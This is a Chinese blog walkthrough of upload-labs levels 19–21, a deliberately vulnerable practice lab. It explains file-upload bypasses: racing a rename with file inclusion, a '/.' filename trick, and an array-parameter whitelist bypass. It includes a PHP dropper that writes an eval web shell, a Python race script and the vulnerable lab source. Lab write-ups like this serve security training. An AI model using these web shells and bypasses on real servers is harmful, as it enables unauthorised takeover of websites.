从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。

这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。
要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。

这里继续用Pass-18的木马

//putshell.php
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>

按照正常操作生成图片马后上传时抓包,同样的方法在BP上设置重放

但是这关要修改下python脚本,利用文件上传漏洞

import requests
url = "http://xxx.xxx.xxx.xx/upload-labs/include.php?file=upload/pass19.png"
while True:
    html = requests.get(url)
    if ( 'Warning'  not in  str(html.text)):
        print('ok')
        break

接着同时进行BP的重放和运行Python脚本,直到返回OK(说明成功在文件被重命名之前访问到了木马文件),那么此时一句话木马shell.php也应该成功创建,蚁剑连接即可(蚁剑连接的URL为http://xxx.xxx.xxx.xxx/upload-labs/shell.php)

Pass-20

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这个Pass对上传文件的后缀名过滤比较严格,不过可以利用 move_upload_file() 函数中的一个特性:在文件移动时如果文件后存在 /.,那会自动将/. 去掉,从而实现文件上传。

先准备PHP一句话木马,并把后缀名改为.png再上传
接着BP抓包,修改upload-19.jpgupload-19.php/.

最后可以发现一句话木马成功上传并可连接

Pass-21

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

这个Pass是白名单
先验证上传路径是否存在,
再验证['upload_file']的content-type是否合法(可以抓包修改),
接着判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断),
判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组,
再判断数组最后一个元素是否合法
最后数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name,上传文件

这个过程中涉及一些函数:

  • explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
  • end(array)函数,输出数组中的当前元素和最后一个元素的值。
  • reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值
  • count(array)函数,计算数组中的单元数目,或对象中的属性个数

这里用到的一句话木马没有什么特别的,使用常规一句话木马即可

上传后抓包

然后修改Content-Type: image/png
修改POST参数为数组类型,索引[0]upload-21.php,索引[2]jpg|png|gif
只要第二个索引不为1$file[count($file) - 1]就等价于$file[2-1],值为空

然后就放包,蚁剑连接

参考链接

https://blog.csdn.net/weixin_47598409/article/details/115050869?fromshare=blogdetail&sharetype=blogdetail&sharerId=115050869&sharerefer=PC&sharesource=L_JLun&sharefrom=from_link

https://wiki.bafangwy.com/doc/174/

欢迎指正、交流 ~ ~ ~

作者:Jaren
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0协议
转载请注明文章地址及作者哦 ~
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⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
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Source: github.com/k4yt3x/flowerhd
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